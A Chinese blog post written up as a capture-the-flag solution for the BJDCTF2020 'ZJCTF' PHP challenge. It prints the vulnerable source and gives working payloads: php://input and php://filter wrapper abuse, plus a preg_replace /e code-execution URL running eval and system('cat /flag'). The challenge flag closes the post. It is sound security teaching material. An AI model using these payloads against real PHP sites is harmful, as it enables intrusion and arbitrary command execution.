[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

php伪协议

源码如下

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

首先需要传两个参数,textfile。要求file_get_contents($text,'r' ==="I have a dream"

php://input伪协议绕过。

在url上构造

?text=php://input

同时post上传一个I have a dream即可。

然后在file那边是文件包含,利用php://filter伪协议读取即可。
构造:
在这里插入图片描述

preg_replace之RCE

将得到的base64解码一下,得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里主要涉及到preg_replace的一个RCE漏洞,参考:https://xz.aliyun.com/t/2557

preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);

主要就是构造preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});
大概就是把所有字符替换为函数执行结果。
但是GET传.*=xxx会出问题,自动将第一个非法字符转化为下划线(看链接),所以构造:

http://755f7227-48c2-4d56-91a8-c2c6b5518680.node3.buuoj.cn/next.php?\S*=${eval($_POST[cmd])}

同时post一个cmd=system("cat /flag");
在这里插入图片描述
flag{a124512f-3e97-4ef3-a3ea-d1d011701987}

posted @ 2020-11-02 20:56  WakeUpp  阅读(991)  评论(0编辑  收藏  举报